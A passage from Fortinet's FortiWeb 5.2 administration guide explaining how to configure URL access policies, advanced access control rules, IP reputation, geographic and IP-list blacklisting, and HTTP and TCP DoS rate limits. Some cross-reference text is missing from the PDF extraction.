To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
10.Click Create New.
A dialog appears.
342 FortiWeb 5.2 Patch 2 Administration Guide
11.In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
12.Click OK.
13.Click Create New to add an entry to the set.
A dialog appears.
14.From the Access Rule Name drop-down list, select the name of a URL access rule to include in the policy.
To view or change the information associated with the rule, select the Detail link. The URL
Access Rule dialog appears. Use the browser Back button to return.
15.Click OK.
16.Repeat the previous steps for each individual rule that you want to add to the URL access policy.
Rules at the top of the list have priority over rules further down. Use Move to change the order ofthe rules. (The ID value does not affect rule priority).
17.To apply the URL access policy, select it in an inline or offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
Attack log messages contain URL Access Violation when this feature detects a suspicious HTTP request.
See also
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
•
Combination access control & rate limiting
What if you want to allow a web crawler, but only if it is not too demanding, and comes from a source IP that is known to be legitimate for that crawler? What if you want to allow only a client that is a senior manager’s IP, and only if it hasn’t been infected by malware whose access rate is contributing to a DoS?
Fortinet 343 FortiWeb 5.2 Patch 2 Administration Guide
Advanced access control rules provide a degree of flexibility for these types of complex conditions. You can combine any or all of these criteria:
• source IP
• rate limit
• HTTP header or response code
• URL
• attack signature violation
• transaction or packet interval timeout
In the rule, add all criteria that you require allowed traffic to match.
FortiWeb includes predefined rules that defend against some popular attacks. You cannot edit these predefined rules, but you can view their settings or create duplicates of them that you can edit (that is, by cloning).
Advanced access control is available even if FortiWeb derives client source IP addresses from
the X-header field (see “Defining your proxies, clients, & X-headers” on page 281
on page 278).
For example, if FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT.
To configure an advanced access control rule
1. Go to Web Protection > Advanced Protection > Custom Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Do one of the following:
• To create a new rule, click Create New.
• To create a new rule based on a predefined rule, select the predefined rule to use, and then click Clone.
A dialog appears.
3. If you are cloning a predefined rule, enter a name for your new rule, and then click OK. To edit or review the rule settings, select the rule, and then click Edit.
Fortinet 344 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name Description
Name
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Action
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client
with the HTTP status code. See “Uploading a custom error page” on page 491
• Period Block — Block subsequent requests from the client for a
number of seconds. Also configure
.
You can customize the web page that will be returned to the client
with the HTTP status code. See “Uploading a custom error page” on page 491
Block Period
The default value is Alert.
Caution:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and
configured. See “Logging” on page 572
and “Alert email” on page 608 .
Note:
If you will use this rule set with auto-learning, you should select
Alert. If
is Alert & Deny, or any other option that causes the
FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid
range is from 1 to 3,600 (1 hour). The default value is 60. See also
“Monitoring currently blocked IPs” on page 639 .
345 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Severity
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is Medium.
Trigger Action
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587
.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
7. From Filter Type, select one of the following conditions that a request must match in order to be allowed, then click OK.
The settings in the next dialog that appears varies by your selection in Filter Type.
• Source IPv4/IPv6 — Type the IP address of a client that is allowed. Depending on your configuration of how FortiWeb derives the client’s IP (see
“Defining your proxies, clients, &
X-headers” on page 281 ), this may be the IP address that is indicated in an HTTP header
rather than the IP header.
• URL — Type a regular expression that will match one or more URLs, such as /index\.jsp.
Do not include the host name.
To accept requests that do not match the URL, do not precede the URL with an exclamation mark ( ! ). Use the CLI to configure the reverse-match {no | yes} setting for this filter.
For details, see the
FortiWeb CLI Reference
.
• HTTP Header — Indicate a single HTTP Header Name such as Host:, and all or part of its value in Header Value. The request/response will match the condition if that header contains your exact value or matches your regular expression (depending on whether you have selected Simple String or Regular Expression). Value matching is case sensitive.
To prevent accidental matches, specify as much of the header’s value as possible. Do not use an ambiguous substring.
For example, entering the value 192.168.1.1 would also match the IPs 192.168.10-19 and
192.168.100-199. This result is probably unintended. The better solution would be to configure either:
• a regular expression such as ^192.168.1.1$ or
• a source IP condition instead of an HTTP header condition
Access Rate Limit — This is the number of requests per second per client IP. Depending on your configuration of how FortiWeb will derive the client’s IP (see
346 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
clients, & X-headers” on page 281 ), this may be the IP address that is indicated in an HTTP
header rather than the IP header.
You can add only one Access Rate Limit filter to each rule.
• Signature Violation — Matches if FortiWeb detects a selected category of attack signature in the current HTTP transaction. The following categories are available:
• Cross Site Scripting
• Cross Site Scription (Extended)
• SQL Injection
• SQL Injection (Extended)
• Generic Attacks
• Generic Attacks (Extended)
• Known Exploits
To use one of these categories in an advanced access control rule, enable the corresponding item in your signatures configuration. For more information, see
“Blocking known attacks & data leaks” on page 405 .
• Transaction Timeout — Matches if the lifetime of a HTTP transaction exceeds the transaction timeout you specify. Specify a timeout value of 1 to 3600 seconds.
• HTTP Response Code — Matches if a HTTP response code matches a code or range of codes that you specify. For example, 404 or 500-503. To specify more than one response code or range, create additional HTTP Response Code filters.
• Packet Interval Timeout — Matches if the time period between packets arriving from either the client or server (request or response packets) exceeds the value in seconds you specify for Packet Timeout Interval. Enter a value from 1 to 60.
• Occurence — Matches if a transaction matches other filter types in the current rule at a rate that exceeds a threshold you specify.
• To measure the rate by counting source client IP address, for Traced By, select Source IP.
• To measure by client, select User.
Note: The User option requires you to enable the
8. Click OK to exit the sub-dialog and return to the rule configuration.
9. Repeat the previous steps for each individual criteria that you want to add to the access rule.
For example, you can require both a matching request URL, HTTP header, and client source
IP in order to allow a request.
You can add only one Access Rate Limit filter to each rule.
10.Click OK to save the rule.
11.Go to Web Protection > Advanced Protection > Custom Policy.
12.Click Create New. Group the advanced access rules into a policy.
For example, to create a policy that allows rate-limited access by 3 client IPs, you would group the corresponding 3 advanced access rules for each of those IPs into the policy.
In Priority, enter the priority for each rule in relation to other defined rules. Rules with lower numbers (higher priority) are applied first.
13.To apply the advanced access policy, select it as the
in a protection profile (see
“Configuring a protection profile for inline topologies” on page 492
347 FortiWeb 5.2 Patch 2 Administration Guide
protection profile for an out-of-band topology or asynchronous mode of operation” on page 502
).
Attack log messages contain Custom Access Violation when this feature detects an unauthorized access attempt.
See also
•
Blacklisting & whitelisting clients
You can block requests from clients based upon their source IP address directly, their current reputation known to FortiGuard, or which country or region the IP address is associated with.
Conversely, you can also exempt clients from scans typically included by the policy.
Blacklisting source IPs with poor reputation
Manually identifying and blocking all known attackers in the world would be an impossible task.
To block:
• botnets
• spammers
• phishers
• malicious spiders/crawlers
• virus-infected clients
• clients using anonymizing proxies
• DDoS participants you can configure FortiWeb to use the FortiGuard IP Reputation. IP reputation leverages many techniques for accurate, early, and frequently updated identification of compromised and malicious clients so you can block attackers before they target your servers. Data about dangerous clients derives from many sources around the globe, including:
• FortiGuard service statistics
• honeypots
• botnet forensic analysis
• anonymizing proxies
• 3 rd -party sources in the security community
From these sources, Fortinet compiles a reputation for each public IP address. Clients will have poor reputations if they have been participating in attacks, willingly or otherwise. Because blacklisting innocent clients is equally undesirable, Fortinet also restores the reputations of clients that improve their behavior. This is crucial when an infected computer is cleaned, or in
DHCP or PPPoE pools where an innocent client receives an IP address that was previously leased by an attacker.
Because IP reputation data is based on evidence of hostility rather than a client’s current physical location on the globe, if your goal is to block attackers rather than restrict delivery, this feature may be preferable.
Fortinet 348 FortiWeb 5.2 Patch 2 Administration Guide
IP reputation knowledge is regularly updated if you have subscribed and connected your
FortiGuard web site feed for security advisories which may correlate with new IP reputation-related options.
Because geographical IP policies are evaluated before many other techniques, defining these
IP addresses can be used to improve performance. For details, see
“Sequence of scans” on page 21
.
balancer or other web proxy that applies source NAT, this feature will not work.
To configure the policy
1. If you need to exempt some clients’ public IP addresses due to possible false positives, configure IP reputation exemptions first. Go to IP Reputation > IP Reputation > Exceptions.
2. Go to IP Reputation > IP Reputation > Policy.
Fortinet
3. In the Status column, enable categories of disreputable clients that you want to block and/or log.
APTs often mask their source IP using anonymizing proxies. While casual attackers will move on to easier potential targets if their initial attempts fail, APTs are motivated to persist until they achieve a successful breach. Early warning can be critical. Therefore even if some innocent anonymous clients use your web servers and you do not want to block them, you still may want to log proxied anonymous requests. Filtering your other attack logs by these anonymous IPs can help you to locate and focus on dangerous requests from these IPs, whether you want to use them to configure a defense, for law enforcement, or for forensic analysis.
4. Similar to configuring attack signatures, also configure
, and
.
5. Click Apply.
6. To apply your IP reputation policy, enable
in a protection profile that is used by
a policy (see “Configuring a protection profile for inline topologies” on page 492
or
).
Attack log messages contain Anonymous Proxy : IP Reputation Violation or
Botnet : IP Reputation Violation
when this feature detects a possible attack.
349 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Predefined suspicious request URLs
•
Configuring an auto-learning profile
•
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
Blacklisting countries & regions
While many web sites are truly global in nature, others are specific to a region. Government web applications that provide services only to its residents are one example.
In such cases, when requests appear to originate from other parts of the world, it may not be worth the security risk to accept them.
• DDoS botnets and mercenary hackers might be the predominant traffic source.
• Anonymizing VPN services or Tor may have been used to mask the true source IP of an attacker that is actually within your own country.
Blacklisting clients individually in this case would be time-consuming and difficult to maintain due to PPPoE or other dynamic allocations of public IP addresses, and IP blocks that are re-used by innocent clients.
If you want to block traffic from many IP addresses that are currently known to belong to networks in other regions, FortiWeb can help you to do so. It uses a
MaxMind GeoLite database of mappings between geographical regions and all public IP addresses that are known to originate from them.
Because network mappings may change as networks grow and shrink, if you use this feature, be sure to periodically update the geography-to-IP mapping database. To download the file, go to the Fortinet Technical Support web site .
Because geographical IP policies are evaluated before many other techniques, defining these
IP addresses can be used to improve performance. For details, see
“Sequence of scans” on page 21
.
To configure blocking by geography
1. Verify that client source IP addresses are visible to FortiWeb in either the X-headers or as the
SRC
field at the IP layer (see “Defining your web servers & load balancers” on page 259
).
If FortiWeb is behind an external load balancer that applies SNAT, for example, you may need to configure it to append its and the client’s IP address to X-Forwarded-For: in the
HTTP header so that FortiWeb will be able to apply this feature. Otherwise, all traffic may appear to come from the same client, with a private network IP: the external load balancer.
350 FortiWeb 5.2 Patch 2 Administration Guide
2. If you want to use a trigger to create a log message and/or alert email when a geographically blacklisted client attempts to connect to your web servers, configure the trigger first. See
“Configuring triggers” on page 587 .
3. Go to Web Protection> Access > Geo IP.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
4. Click Create New.
A dialog appears.
5. Configure these settings:
Fortinet
Setting name Description
Name
Type a name that can be referenced by other parts of the configuration.
Do not use spaces or special characters. The maximum length is 35 characters.
Severity
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers:
• Low
• Medium
• High
Trigger Action
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a blacklisted IP address’s attempt
to connect to your web servers. See “Configuring triggers” on page 587 .
6. Click OK.
7. Click Create New.
351 FortiWeb 5.2 Patch 2 Administration Guide
8. From the Country list on the left, select one or more geographical regions that you want to block, then click the right arrow to move them to the Selected Country list on the right.
In addition to countries, the Country list also includes distinct territories within a country, such as Puerto Rico and United States Minor Outlying Islands, and regions that are not associated with any country, such as Antarctica.
Fortinet
9. Click OK.
The web UI returns to the initial dialog. The countries that you are blocking will appear as individual entries.
10.Click OK.
) that is being used by a server policy.
See also
•
Blacklisting & whitelisting clients using a source IP or source IP range
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
352 FortiWeb 5.2 Patch 2 Administration Guide
Blacklisting & whitelisting clients using a source IP or source IP range
You can define which source IP addresses are trusted clients, undetermined, or distrusted.
•
Trusted IPs
— Almost always allowed to access to your protected web servers. Trusted IPs are exempt from many (but not all) of the restrictions that would otherwise be applied by a
server policy. For a list of skipped scans, see “Sequence of scans” on page 21
.
•
Neither
— If a source IP address is neither explicitly blacklisted or trusted by an IP list policy, the client will be able to access your web servers, unless it is blocked by any of your
other configured, subsequent web protection scan techniques (see “Sequence of scans” on page 21 ).
•
Blacklisted IPs
— Blocked and prevented from accessing your protected web servers.
Requests from blacklisted IP addresses receive a warning message as the HTTP response.
The warning message page includes ID: 70007, which is the ID of all attack log messages about requests from blacklisted IPs.
Figure 47:Warning response to blacklisted IPs
Fortinet
Because many businesses, universities, and even now home networks use NAT, a packet’s source IP address may not necessarily match that of the client. Keep in mind that if you black list or white list an individual source IP, it may therefore inadvertently affect other clients that share the same IP.
balancer or other web proxy that applies source NAT, this feature will not work.
Because trusted and blacklisted IP policies are evaluated before many other techniques,
To configure policies for individual source IPs
1. If you want to use a trigger to create a log message and/or alert email when a blacklisted client attempts to connect to your web servers, configure the trigger first. See
“Configuring triggers” on page 587 .
353 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to Web Protection> Access > IP List.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
Clear all
Edit
Delete
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
7. Configure these settings:
Fortinet
Setting name Description
Type
Select either:
• Trust IP — The source IP address is trusted and allowed to access
your web servers, unless it fails a previous scan (see “Sequence of scans” on page 21
).
•
Black IP
— The source IP address that is distrusted, and is permanently blocked (blacklisted) from accessing your web servers, even if it would normally pass all other scans.
IPv4/IPv6 /
IP Range
Note:
If multiple clients share the same source IP address, such as when a group of clients is behind a firewall or router performing network address translation (NAT), blacklisting the source IP address could block innocent clients that share the same source IP address with an offending client.
Type the client’s source IP address.
You can enter either a singel IP address or a range or addresses (e.g.,
172.22.14.1-172.22.14.255 or
10:200::10:1-10:200:10:100
).
354 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Severity
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers:
• Low
• Medium
• High
Trigger Action
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a blacklisted IP address’s attempt
to connect to your web servers. See “Configuring triggers” on page 587 .
8. Click OK.
9. Repeat the previous steps for each individual IP list member that you want to add to the IP list.
).
Attack log messages contain Blacklisted IP blocked when this feature detects a blacklisted source IP address.
See also
•
•
Blacklisting countries & regions
•
•
Monitoring currently blocked IPs
Blacklisting content scrapers, search engines, web crawlers, & other robots
You can use FortiWeb features to control access by Internet robots such as:
• search engine indexers
• automated tools such as link checkers, web crawlers, and spiders
Predefined signatures for malicious robots and source IPs will be kept up-to-date if you have subscribed to FortiGuard Security Service.
To block typically unwanted automated tools, use
.
To control which search engine crawlers are allowed to access your sites, go to
Server Objects > Global > Known Search Engines; also configure
See also
•
355 FortiWeb 5.2 Patch 2 Administration Guide
Rate limiting
In addition to controlling which URLs a client can access, you can control how often. This can be especially important to preventing scouting and brute force password attacks.
If a client is not really interested in actually receiving a response and/or attempting to authenticate or connecting, but is simply attempting to consume resources in order to deprive legitimate clients, consider more than simple HTTP-layer rate limiting. See also
“DoS prevention” on page 356 .
If you need to restrict access as well as rate limiting, you can do both at the same time. See
“Combination access control & rate limiting” on page 343 .
DoS prevention
You can protect your web assets from a wide variety of denial of service (DoS) attacks.
Some DoS protection features are not supported in all modes of operation. For details, see
“Supported features in each operation mode” on page 69
.
DoS features are organized by which open system interconnections (OSI) model layer they use primarily to apply the rate limit:
• Application layer (HTTP or HTTPS)
• Network and transport layer (TCP/IP)
Appropriate DoS rate limits vary by the web application you are protecting. For details, see
“Reducing false positives” on page 657 .
Fortinet
Configuring application-layer DoS protection
The DoS Protection > Application submenu enables you to configure DoS protection at the network application layer.
For some DoS protection features, the FortiWeb appliance uses session management to track requests.
1. When a FortiWeb appliance receives the first request from any client, it adds a session cookie to the response from the web server in order to track the session. The client will include the cookie in subsequent requests.
2. If a client sends another request before the session timeout, FortiWeb examines the session cookie in the request.
• If the cookie does not exist or its value has changed, the FortiWeb appliance drops the request.
• If the same cookie exists, the request is treated as part of the same session. FortiWeb increments its count of connections and/or requests from the client. If the rate exceeds the limit, FortiWeb drops the extra connection or request.
356 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Limiting the total HTTP request rate from an IP
•
Limiting TCP connections per IP address by session cookie
•
Preventing an HTTP request flood
Limiting the total HTTP request rate from an IP
You can limit the number of HTTP requests per second, per source IP address.
This feature is similar to DoS Protection > Application > HTTP Flood Prevention. However, this feature can prevent HTTP request floods that involve many different URLs. It also can detect source IP addresses that are shared by multiple clients, and intelligently enforce a separate request rate limit for those IPs, even if those clients do not support cookies.
FortiWeb appliances track the rate of requests from each source IP address, regardless of their
HTTP method. If the rate of requests exceeds the limit, FortiWeb performs the Action.
This scan is bypassed if the client’s source IP is a known search engine and you have enabled
To configure an HTTP request rate limit
1. Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients. For details, see
“Advanced settings” on page 551
.
If you do not enable detection of shared IP addresses (
) , the second threshold,
HTTP Request Limit/sec (Shared IP)
will be ignored.
2. Go to DoS Protection > Application > HTTP Access Limit.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
357 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet 358 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Name
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
HTTP Request
Limit/sec
(Standalone IP)
Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is a single HTTP client.
For example, if loading a web page involves:
• 1 HTML file request
• 1 external JavaScript file request
• 3 image requests the rate limit should be at least 5, but could be some multiple such as 10 or 15 in order to allow 2 or 3 page loads per second from each client.
For best results, this should be at least as many requests as required to normally load the URL. When a client accesses a web application, it normally requests many files, such as images and style sheets, used by the web page itself. If you set limits too low, it can cause false positive attack detections and block requests. In extreme cases, this could prevent a single web page from fully loading all of its components — images, CSS, and other external files.
The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests an initial value of 500. See also
“Reducing false positives” on page 657
.
HTTP Request
Limit/sec (Shared IP)
Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is shared by multiple
HTTP clients.
Typically, this limit should be greater than
.
For example, let’s say a branch office with 10 employees is accessing your web site. Some solitary telecommuters also access your web site. Each telecommuter has her own IP address.
However, the 10 people at the branch office are behind a firewall with NAT, and from the perspective of the Internet appear to have a single source IP address. If the appropriate rate limit for solitary telecommuters is 20 requests/sec., a fair rate limit for the branch office might be 200 requests/sec.:
20 requests/sec/person x 10 persons =
200 requests/sec.
The valid range is from 0 to 65,536. The default value is 0. Fortinet
suggests an initial value of 1000. See also “Reducing false positives” on page 657
.
Note:
If detection of shared IP addresses is disabled, this setting
will be ignored and all source IP addresses will be limited by
Request Limit/sec (Standalone IP)
instead. See “Advanced settings” on page 551
.
359 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Real Browser
Enforcement
Validation Timeout
Description
If you want to return a JavaScript to the client to test whether it is a web browser or automated tool when it exceeds the rate limit, enable this option. If either the client fails the test, or if it does not return results before the
, FortiWeb will apply the
Action
. If the client appears to be a web browser, FortiWeb will
allow the client to exceed the action. See also “Bot analysis” on page 638
.
Disable this option to apply the rate limit regardless of whether the client is a web browser such as Firefox or an automated tool such as wget.
Enter the maximum amount of time that FortiWeb will wait for results from the client for
Fortinet 360 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block Period
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
Block Period
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Tip:
For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the
DDoS.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
The default value is Alert.
Caution:
This setting will be ignored if
is enabled.
Note:
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb
will not be able to enforce actions for this feature. See “Sessions &
.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
Action
is set to Period Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0.
See also
“Monitoring currently blocked IPs” on page 639 .
361 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Severity
Trigger Action
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Configuring triggers” on page 587 .
5. Click OK.
6. Group the rule in a DoS protection policy (see
“Grouping DoS protection rules” on page 373
) that is used by a protection profile.
7. Enable the
option in the protection profile.
Attack log messages contain DoS Attack: HTTP Access Limit Violation when this feature detects a multi-URL HTTP flood. See also
“Log rate limits” on page 574 .
Example: HTTP request rate limit per IP
If you set 10 per second for both the shared and standalone limit, here are two scenarios:
• A client opens 5 TCP connections, where each connection has a different source port. Each
TCP connection creates 3 HTTP GET requests. The FortiWeb appliance blocks the extra connections as there are 15 HTTP requests overall, which exceeds the limit.
• A client opens a single TCP connection with 12 HTTP GET requests. The Period Block action is set. Once the count exceeds 10, the FortiWeb appliance blocks all traffic from the client for the specified block period.
Limiting TCP connections per IP address by session cookie
You can limit the number of TCP connections per HTTP session. This can prevent TCP connection floods from clients operating behind a shared IP with innocent clients.
Excessive numbers of TCP connections per session can occur if a web application or client is malfunctioning, or if an attacker is attempting to waste socket resources to produce a DoS.
This feature is similar to DoS Protection > Network > TCP Flood Prevention. However, this feature counts TCP connections per session cookie, while TCP Flood Prevention counts only
TCP connections per IP address. Because it uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, in order to work, the client must support cookies.
362 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If the count exceeds the limit, the FortiWeb appliance executes the Action.
This scan is bypassed if the client’s source IP is a known search engine and you have enabled
To configure a TCP connection limit per session
1. Go to DoS Protection > Application > Malicious IPs.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
3. Configure these settings:
Setting name
Name
TCP Connection
Number Limit
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type the maximum number of TCP connections allowed with a single HTTP client.
The valid range is from 1 to 1,024. The default is 1. Fortinet suggests an initial value of 100. See also
“Reducing false positives” on page 657
.
363 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block Period
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Tip:
For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the
DDoS.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
The default value is Alert.
Caution:
This setting will be ignored if
is enabled.
Note:
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb
will not be able to enforce actions for this feature. See “Sessions &
.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0.
See also
“Monitoring currently blocked IPs” on page 639 .
364 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Severity
Trigger Action
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Configuring triggers” on page 587 .
4. Click OK.
5. Group the rule in a DoS protection policy (see
“Grouping DoS protection rules” on page 373
) that is used by a protection profile.
6. Enable the
option in the protection profile.
Attack log messages contain DoS Attack: Malicious IPs Violation when this feature detects a TCP flood with the same HTTP session cookie. See also
.
Example: TCP connection per session limit
If you set 10 as the connection limit, here are two scenarios:
• A client opens 5 TCP connections. Each connection has a different source port. Because each connection has a valid session cookie, and does not exceed the connection limit, the
FortiWeb appliance allows them.
• A client opens 11 TCP connections. The FortiWeb appliance blocks the last connection because it exceeds the limit of 10.
See also
•
Limiting TCP connections per IP address
Preventing an HTTP request flood
You can limit the number of HTTP requests per second, per session, per URL. This effectively prevents HTTP request floods that utilize a single URL.
Because this feature uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, the client must support cookies.
This feature is similar to DoS Protection > Application > HTTP Access Limit. However, rather than preventing many requests to any URL by the same client, it prevents many requests to the
same URL by the same client.
365 FortiWeb 5.2 Patch 2 Administration Guide
If the rate exceeds the limit, the FortiWeb appliance executes the Action.
This scan is bypassed if the client’s source IP is a known search engine and you have enabled
To configure HTTP flood prevention
1. Go to DoS Protection > Application > HTTP Flood Prevention.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
3. Configure these settings:
Fortinet
Setting name
Name
HTTP Request
Limit/sec
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type the maximum rate of requests per second allowed from a single HTTP client.
The valid range is from 0 to 4,096. The default is 0. Fortinet suggests an initial value of 500. See also
“Reducing false positives” on page 657
.
366 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Real Browser
Enforcement
Validation Timeout
Description
If you want to return a JavaScript to the client to test whether it is a web browser or automated tool when it exceeds the rate limit, enable this option. If either the client fails the test, or if it does not return results before the
, FortiWeb will apply the
. If the client appears to be a web browser, FortiWeb will
allow the client to exceed the action. See also “Bot analysis” on page 638
.
Disable this option to apply the rate limit regardless of whether the client is a web browser such as Firefox or an automated tool such as wget.
Enter the maximum amount of time that FortiWeb will wait for results from the client for
Fortinet 367 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block Period
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Tip:
For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the
DDoS.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
